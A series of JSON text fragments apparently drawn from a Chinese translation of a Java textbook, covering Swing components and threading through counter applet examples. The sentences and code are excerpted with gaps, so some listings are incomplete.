    {"text": "本节中没有涉及的一些要点： ■更多特殊的组件，例如 ＪＣｏｌｏｒＣｈｏｏｓｅｒ，ＪＦｉｌｅＣｈｏｏｓｅｒ，ＪＰａｓｓｗｏｒｄＦｉｅｌｄ，ＪＨＴＭＬＰａｎｅ（完成简单的 ＨＴＭＬ 格式 化和显示）以及 ＪＴｅｘｔＰａｎｅ（一个支持格式化，字处理和图像的文字编辑器）。"},
    {"text": "■新的布局管理：Ｓｐｒｉｎｇｓ ＆ Ｓｔｒｕｔｓ 以及 ＢｏｘＬａｙｏｕｔ ■分裂控制：一个间隔物式的分裂条，允许我们动态地处理其它组件的位置。"},
    {"text": "Ｊａｖａ １．０ 版的 ＡＷＴ 曾作为目前见过 的最糟糕的一个设计被彻底地批评，并且当它允许我们在创建小巧精致的程序时，产生的 ＧＵＩ“在所有的平 台上都同样的平庸”。"},
    {"text": "当 Ｊａｖａ １．１ 版纳入新的事件模型和 Ｊａｖａ Ｂｅａｎｓ 时，平台被设置——现在它可以被拖放到可视化的应 用程序构建工具中，创建 ＧＵＩ 组件。"},
    {"text": "微软的 Ｖｉｓｕａｌ Ｂａｓｉｃ 和 Ｖｉｓｕａｌ Ｃ＋＋需要它们的应用程序构建工具，同样的是 Ｂｏｒｌａｎｄ 的 Ｄｅｌｐｈｉ 和 Ｃ＋＋构建器。"},
    {"text": "这意味着一个平等的应用领域：如果一个更好的应用程序构建工具出现， 我们不需要去约束它就可以使用——我们可以采用并移动到新的工具上工作即可，这会提高我们的工作效 率。"},
    {"text": "现 在从 ＳＵＮ 公司处下载并安装 ＢＤＫ 或者使用我们自己的可激活 Ｂｅａｎ 的程序构建工具并增加 ＪＡＲ 文件到我们的环 境中，因此我们可以测试两个 Ｂｅａｎ 。"},
    {"text": "创建一个清单文件，利用 ｊａｒ 打包我们的 Ｂｅａｎ，然后读入它到 ｂｅａｎｂｏｘ 或到我们自己的激活程序构建 工具里，因此我们可以测试它。"},
    {"text": "一个很好的例子便是“Ｑｕｉｔ”或“退出”按钮——我们并不希望在程序的每一部分 代码中都轮询这个按钮，同时又希望该按钮能及时地作出响应（使程序看起来似乎经常都在轮询它）。"},
    {"text": "在这里，我们用一个合成的 ａｐｐｌｅｔ／ａｐｐｌｉｃａｔｉｏｎ（程 序片／应用程序）来简单显示出一个计数器的结果： ／／： Ｃｏｕｎｔｅｒ１．ｊａｖａ ／／ Ａ ｎｏｎ－ｒｅｓｐｏｎｓｉｖｅ ｕｓｅｒ ｉｎｔｅｒｆａｃｅ ｐａｃｋａｇｅ ｃ１４；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ｃｏｕｎｔｅｒ１ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｃｏｕｎｔ ＝ ０； ｐｒｉｖａｔｅ Ｂｕｔｔｏｎ ｏｎＯｆｆ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｔｏｇｇｌｅ＂）， ｓｔａｒｔ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓｔａｒｔ＂）； ｐｒｉｖａｔｅ ＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（１０）； ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｒｕｎＦｌａｇ ＝ ｔｒｕｅ； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ａｄｄ（ｔ）； ｓｔａｒｔ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＳｔａｒｔＬ（））； ａｄｄ（ｓｔａｒｔ）； ｏｎＯｆｆ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＯｎＯｆｆＬ（））； ａｄｄ（ｏｎＯｆｆ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｇｏ（） ｛ ｗｈｉｌｅ （ｔｒｕｅ） ｛ ｔｒｙ ｛ Ｔｈｒｅａｄ．ｃｕｒｒｅｎｔＴｈｒｅａｄ（）．ｓｌｅｅｐ（１００）； ｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｉｆ（ｒｕｎＦｌａｇ） ｔ．ｓｅｔＴｅｘｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｃｏｕｎｔ＋＋））； ４８７ ｝ ｝ ｃｌａｓｓ ＳｔａｒｔＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｇｏ（）； ｝ ｝ ｃｌａｓｓ ＯｎＯｆｆＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｒｕｎＦｌａｇ ＝ ！ ｒｕｎＦｌａｇ； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃｏｕｎｔｅｒ１ ａｐｐｌｅｔ ＝ ｎｅｗ Ｃｏｕｎｔｅｒ１（）； Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂Ｃｏｕｎｔｅｒ１＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（３００，２００）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "ｇｏ（）方法正是程序全 心全意服务的对待：将当前的 ｃｏｕｎｔ（计数）值置入 ＴｅｘｔＦｉｅｌｄ（文本字段）ｔ，然后使 ｃｏｕｎｔ 增值。"},
    {"text": "ｓｌｅｅｐ（）必须同一个 Ｔｈｒｅａｄ（线程）对象关联到一起，而且似乎每个 应用程序都有部分线程同它关联（事实上，Ｊａｖａ 本身就是建立在线程基础上的，肯定有一些线程会伴随我们 写的应用一起运行）。 所以无论我们是否明确使用了线程，都可利用 Ｔｈｒｅａｄ．ｃｕｒｒｅｎｔＴｈｒｅａｄ（）产生由程序使 用的当前线程，然后为那个线程调用 ｓｌｅｅｐ（）。"},
    {"text": "注意 ｓｌｅｅｐ（）可能“掷”出一个 ＩｎｔｅｒｒｕｐｔＥｘｃｅｐｔｉｏｎ（中断违例）——尽管产生这样的违例被认为是中止线 程的一种“恶意”手段，而且应该尽可能地杜绝这一做法。"},
    {"text": "由于在第一个按键以后便陷入 ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（）中，所以程序不能再对 其他任何事件进行控制（如果想出来，必须以某种方式“杀死”进程——最简便的方式就是在控制台窗口按 Ｃｔｒｌ＋Ｃ 键）。"},
    {"text": "这里最基本的问题是 ｇｏ（）需要继续执行自己的操作，而与此同时，它也需要返回，以便 ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（） 能够完成，而且用户界面也能继续响应用户的操作。"},
    {"text": "根据这一机制，ＣＰＵ 可为每个线程都分配自己的一部分时间。 每个线程 都“感觉”自己好象拥有整个 ＣＰＵ，但 ＣＰＵ 的计算时间实际却是在所有线程间分摊的。"},
    {"text": "当然，如果本来就安装了多块 ＣＰＵ，那么操作系统能 够自行决定为不同的 ＣＰＵ 分配哪些线程，程序的总体运行速度也会变得更快（所有这些都要求操作系统以及 应用程序的支持）。"},
    {"text": "Ｔｈｒｅａｄ 的 ｒｕｎ（）方法在这里得到了覆盖，每通过一次循环，计数就减 １——计数为 ０ 时则完成循环（此时一旦返回 ｒｕｎ（），线程就中止运行）。"},
    {"text": "／／： ＳｉｍｐｌｅＴｈｒｅａｄ．ｊａｖａ ／／ Ｖｅｒｙ ｓｉｍｐｌｅ Ｔｈｒｅａｄｉｎｇ ｅｘａｍｐｌｅ ｐｕｂｌｉｃ ｃｌａｓｓ ＳｉｍｐｌｅＴｈｒｅａｄ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｃｏｕｎｔＤｏｗｎ ＝ ５； ｐｒｉｖａｔｅ ｉｎｔ ｔｈｒｅａｄＮｕｍｂｅｒ； ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｉｎｔ ｔｈｒｅａｄＣｏｕｎｔ ＝ ０； ｐｕｂｌｉｃ ＳｉｍｐｌｅＴｈｒｅａｄ（） ｛ ｔｈｒｅａｄＮｕｍｂｅｒ ＝ ＋＋ｔｈｒｅａｄＣｏｕｎｔ； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｍａｋｉｎｇ ＂ ＋ ｔｈｒｅａｄＮｕｍｂｅｒ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ（ｔｒｕｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｈｒｅａｄ ＂ ＋ ｔｈｒｅａｄＮｕｍｂｅｒ ＋ ＂（＂ ＋ ｃｏｕｎｔＤｏｗｎ ＋ ＂）＂）； ｉｆ（－－ｃｏｕｎｔＤｏｗｎ ＝＝ ０） ｒｅｔｕｒｎ； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０；"},
    {"text": "ｉ＋＋） ｎｅｗ ＳｉｍｐｌｅＴｈｒｅａｄ（）．ｓｔａｒｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ａｌｌ Ｔｈｒｅａｄｓ Ｓｔａｒｔｅｄ＂）；"},
    {"text": "Ｔｈｒｅａｄ 包含了一个特殊的方法，叫作 ｓｔａｒｔ（），它的作用是对 线程进行特殊的初始化，然后调用 ｒｕｎ（）。 所以整个步骤包括：调用构建器来构建对象，然后用 ｓｔａｒｔ（）配置 线程，再调用 ｒｕｎ（）。"},
    {"text": "下面是该程序某一次运行的输出（注意每次运行都会不同）： Ｍａｋｉｎｇ １ Ｍａｋｉｎｇ ２ Ｍａｋｉｎｇ ３ Ｍａｋｉｎｇ ４ Ｍａｋｉｎｇ ５ Ｔｈｒｅａｄ １（５） ４８９ Ｔｈｒｅａｄ １（４） Ｔｈｒｅａｄ １（３） Ｔｈｒｅａｄ １（２） Ｔｈｒｅａｄ ２（５） Ｔｈｒｅａｄ ２（４） Ｔｈｒｅａｄ ２（３） Ｔｈｒｅａｄ ２（２） Ｔｈｒｅａｄ ２（１） Ｔｈｒｅａｄ １（１） Ａｌｌ Ｔｈｒｅａｄｓ Ｓｔａｒｔｅｄ Ｔｈｒｅａｄ ３（５） Ｔｈｒｅａｄ ４（５） Ｔｈｒｅａｄ ４（４） Ｔｈｒｅａｄ ４（３） Ｔｈｒｅａｄ ４（２） Ｔｈｒｅａｄ ４（１） Ｔｈｒｅａｄ ５（５） Ｔｈｒｅａｄ ５（４） Ｔｈｒｅａｄ ５（３） Ｔｈｒｅａｄ ５（２） Ｔｈｒｅａｄ ５（１） Ｔｈｒｅａｄ ３（４） Ｔｈｒｅａｄ ３（３） Ｔｈｒｅａｄ ３（２） Ｔｈｒｅａｄ ３（１） 可注意到这个例子中到处都调用了 ｓｌｅｅｐ（），然而输出结果指出每个线程都获得了属于自己的那一部分 ＣＰＵ 执行时间。"},
    {"text": "事实上，ＣＰＵ 处理一个现有线程集的顺序是不确定的—— 除非我们亲自介入，并用 Ｔｈｒｅａｄ 的 ｓｅｔＰｒｉｏｒｉｔｙ（）方法调整它们的优先级。"},
    {"text": "下面是具体的代码： ／／： Ｃｏｕｎｔｅｒ２．ｊａｖａ ／／ Ａ ｒｅｓｐｏｎｓｉｖｅ ｕｓｅｒ ｉｎｔｅｒｆａｃｅ ｗｉｔｈ ｔｈｒｅａｄｓ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｃｌａｓｓ ＳｅｐａｒａｔｅＳｕｂＴａｓｋ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｃｏｕｎｔ ＝ ０； ｐｒｉｖａｔｅ Ｃｏｕｎｔｅｒ２ ｃ２； ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｒｕｎＦｌａｇ ＝ ｔｒｕｅ； ｐｕｂｌｉｃ ＳｅｐａｒａｔｅＳｕｂＴａｓｋ（Ｃｏｕｎｔｅｒ２ ｃ２） ｛ ４９０ ｔｈｉｓ．ｃ２ ＝ ｃ２； ｓｔａｒｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｖｅｒｔＦｌａｇ（） ｛ ｒｕｎＦｌａｇ ＝ ！ ｒｕｎＦｌａｇ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ （ｔｒｕｅ） ｛ ｔｒｙ ｛ ｓｌｅｅｐ（１００）； ｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｉｆ（ｒｕｎＦｌａｇ） ｃ２．ｔ．ｓｅｔＴｅｘｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｃｏｕｎｔ＋＋））； ｝ ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｃｏｕｎｔｅｒ２ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（１０）； ｐｒｉｖａｔｅ ＳｅｐａｒａｔｅＳｕｂＴａｓｋ ｓｐ ＝ ｎｕｌｌ； ｐｒｉｖａｔｅ Ｂｕｔｔｏｎ ｏｎＯｆｆ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｔｏｇｇｌｅ＂）， ｓｔａｒｔ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓｔａｒｔ＂）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ａｄｄ（ｔ）； ｓｔａｒｔ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＳｔａｒｔＬ（））； ａｄｄ（ｓｔａｒｔ）； ｏｎＯｆｆ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＯｎＯｆｆＬ（））； ａｄｄ（ｏｎＯｆｆ）； ｝ ｃｌａｓｓ ＳｔａｒｔＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｉｆ（ｓｐ ＝＝ ｎｕｌｌ） ｓｐ ＝ ｎｅｗ ＳｅｐａｒａｔｅＳｕｂＴａｓｋ（Ｃｏｕｎｔｅｒ２．ｔｈｉｓ）； ｝ ｝ ｃｌａｓｓ ＯｎＯｆｆＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｉｆ（ｓｐ ！ ＝ ｎｕｌｌ） ｓｐ．ｉｎｖｅｒｔＦｌａｇ（）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃｏｕｎｔｅｒ２ ａｐｐｌｅｔ ＝ ｎｅｗ Ｃｏｕｎｔｅｒ２（）； Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂Ｃｏｕｎｔｅｒ２＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（３００，２００）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ４９１ ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "注意此时会保存 ＳｅｐａｒａｔｅＳｕｂＴａｓｋ 的句柄，以便我们按下 ｏｎＯｆｆ 按钮的时候，能正常地 切换位于 ＳｅｐａｒａｔｅＳｕｂＴａｓｋ 内部的 ｒｕｎＦｌａｇ（运行标志）。"},
    {"text": "随后那个线程便可启动（当它看到标志的时 候），然后将自己中止（亦可将 ＳｅｐａｒａｔｅＳｕｂＴａｓｋ 设为一个内部类来达到这一目的）。"},
    {"text": "ＳｅｐａｒａｔｅＳｕｂＴａｓｋ 类是对 Ｔｈｒｅａｄ 的一个简单扩展，它带有一个构建器（其中保存了 Ｃｏｕｎｔｅｒ２ 句柄，然后通 过调用 ｓｔａｒｔ（）来运行线程）以及一个 ｒｕｎ（）——本质上包含了 Ｃｏｕｎｔｅｒ１．ｊａｖａ 的 ｇｏ（）内的代码。"},
    {"text": "由于 ＳｅｐａｒａｔｅＳｕｂＴａｓｋ 知道自己容纳了指向一个 Ｃｏｕｎｔｅｒ２ 的句柄，所以能够在需要的时候介入，并访问 Ｃｏｕｎｔｅｒ２ 的 ＴｅｓｔＦｉｅｌｄ（文本字段）。"},
    {"text": "ＳｅｐａｒａｔｅＳｕｂＴａｓｋ 同 Ｃｏｕｎｔｅｒ２ “亲密”地结合到了一起——它必须持有指向自己“父”Ｃｏｕｎｔｅｒ２ 对象的一个句柄，以便自己能 回调和操纵它。"},
    {"text": "但两个类并不是真的合并为单独一个类（尽管在下一节中，我们会讲到 Ｊａｖａ 确实提供了合并 它们的方法），因为它们各自做的是不同的事情，而且是在不同的时间创建的。"},
    {"text": "在这种情况下，一个 内部类可以显著改善代码的“可读性”和执行效率： ／／： Ｃｏｕｎｔｅｒ２ｉ．ｊａｖａ ／／ Ｃｏｕｎｔｅｒ２ ｕｓｉｎｇ ａｎ ｉｎｎｅｒ ｃｌａｓｓ ｆｏｒ ｔｈｅ ｔｈｒｅａｄ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ｃｏｕｎｔｅｒ２ｉ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ｐｒｉｖａｔｅ ｃｌａｓｓ ＳｅｐａｒａｔｅＳｕｂＴａｓｋ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｉｎｔ ｃｏｕｎｔ ＝ ０； ｂｏｏｌｅａｎ ｒｕｎＦｌａｇ ＝ ｔｒｕｅ； ＳｅｐａｒａｔｅＳｕｂＴａｓｋ（） ｛ ｓｔａｒｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ （ｔｒｕｅ） ｛ ｔｒｙ ｛ ｓｌｅｅｐ（１００）； ｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｉｆ（ｒｕｎＦｌａｇ） ｔ．ｓｅｔＴｅｘｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｃｏｕｎｔ＋＋））； ｝ ｝ ｝ ｐｒｉｖａｔｅ ＳｅｐａｒａｔｅＳｕｂＴａｓｋ ｓｐ ＝ ｎｕｌｌ； ｐｒｉｖａｔｅ ＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（１０）； ｐｒｉｖａｔｅ Ｂｕｔｔｏｎ ｏｎＯｆｆ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｔｏｇｇｌｅ＂）， ｓｔａｒｔ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓｔａｒｔ＂）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ４９２ ａｄｄ（ｔ）； ｓｔａｒｔ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＳｔａｒｔＬ（））； ａｄｄ（ｓｔａｒｔ）； ｏｎＯｆｆ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＯｎＯｆｆＬ（））； ａｄｄ（ｏｎＯｆｆ）； ｝ ｃｌａｓｓ ＳｔａｒｔＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｉｆ（ｓｐ ＝＝ ｎｕｌｌ） ｓｐ ＝ ｎｅｗ ＳｅｐａｒａｔｅＳｕｂＴａｓｋ（）； ｝ ｝ ｃｌａｓｓ ＯｎＯｆｆＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｉｆ（ｓｐ ！ ＝ ｎｕｌｌ） ｓｐ．ｒｕｎＦｌａｇ ＝ ！ ｓｐ．ｒｕｎＦｌａｇ； ／／ ｉｎｖｅｒｔＦｌａｇ（）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃｏｕｎｔｅｒ２ｉ ａｐｐｌｅｔ ＝ ｎｅｗ Ｃｏｕｎｔｅｒ２ｉ（）； Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂Ｃｏｕｎｔｅｒ２ｉ＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（３００，２００）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "｝ ｝ ／／／：￣ 这个 ＳｅｐａｒａｔｅＳｕｂＴａｓｋ 名字不会与前例中的 ＳｅｐａｒａｔｅＳｕｂＴａｓｋ 冲突——即使它们都在相同的目录里——因为 它已作为一个内部类隐藏起来。"},
    {"text": "大家亦可看到内部类被设为 ｐｒｉｖａｔｅ（私有）属性，这意味着它的字段和方 法都可获得默认的访问权限（ｒｕｎ（）除外，它必须设为 ｐｕｂｌｉｃ，因为它在基础类中是公开的）。"},
    {"text": "在 ＳｅｐａｒａｔｅＳｕｂＴａｓｋ 中，我们可看到 ｉｎｖｅｒｔＦｌａｇ（）方法已被删去，因为 Ｃｏｕｎｔｅｒ２ｉ 现在可以 直接访问 ｒｕｎＦｌａｇ。"},
    {"text": "Ｃｏｕｎｔｅｒ２ｉ 对象 的句柄仍象以前那样得以捕获，但不再是通过人工传递和引用外部对象来达到这一目的，此时的内部类机制 可以自动照料它。"},
    {"text": "父类中的 ｔ 字段现在可以变成 ｐｒｉｖａｔｅ，因为 ＳｅｐａｒａｔｅＳｕｂＴａｓｋ 能在未获任何特殊许可的前提下自由地访问 它——而且无论如何都该尽可能地把字段变成“私有”属性，以防来自类外的某种力量不慎地改变它们。"},
    {"text": "下面这个程序向我们演示了这一点，它再现了 Ｃｏｕｎｔｅｒ２ 的功能： ／／： Ｃｏｕｎｔｅｒ３．ｊａｖａ ／／ Ｕｓｉｎｇ ｔｈｅ Ｒｕｎｎａｂｌｅ ｉｎｔｅｒｆａｃｅ ｔｏ ｔｕｒｎ ｔｈｅ ／／ ｍａｉｎ ｃｌａｓｓ ｉｎｔｏ ａ ｔｈｒｅａｄ． ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ｃｏｕｎｔｅｒ３ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｉｍｐｌｅｍｅｎｔｓ Ｒｕｎｎａｂｌｅ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｃｏｕｎｔ ＝ ０； ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｒｕｎＦｌａｇ ＝ ｔｒｕｅ； ｐｒｉｖａｔｅ Ｔｈｒｅａｄ ｓｅｌｆＴｈｒｅａｄ ＝ ｎｕｌｌ； ｐｒｉｖａｔｅ Ｂｕｔｔｏｎ ｏｎＯｆｆ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｔｏｇｇｌｅ＂）， ｓｔａｒｔ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓｔａｒｔ＂）； ｐｒｉｖａｔｅ ＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（１０）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ａｄｄ（ｔ）； ｓｔａｒｔ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＳｔａｒｔＬ（））； ａｄｄ（ｓｔａｒｔ）； ｏｎＯｆｆ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＯｎＯｆｆＬ（））； ａｄｄ（ｏｎＯｆｆ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ （ｔｒｕｅ） ｛ ｔｒｙ ｛ ｓｅｌｆＴｈｒｅａｄ．ｓｌｅｅｐ（１００）； ｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｉｆ（ｒｕｎＦｌａｇ） ｔ．ｓｅｔＴｅｘｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｃｏｕｎｔ＋＋））； ｝ ｝ ｃｌａｓｓ ＳｔａｒｔＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｉｆ（ｓｅｌｆＴｈｒｅａｄ ＝＝ ｎｕｌｌ） ｛ ｓｅｌｆＴｈｒｅａｄ ＝ ｎｅｗ 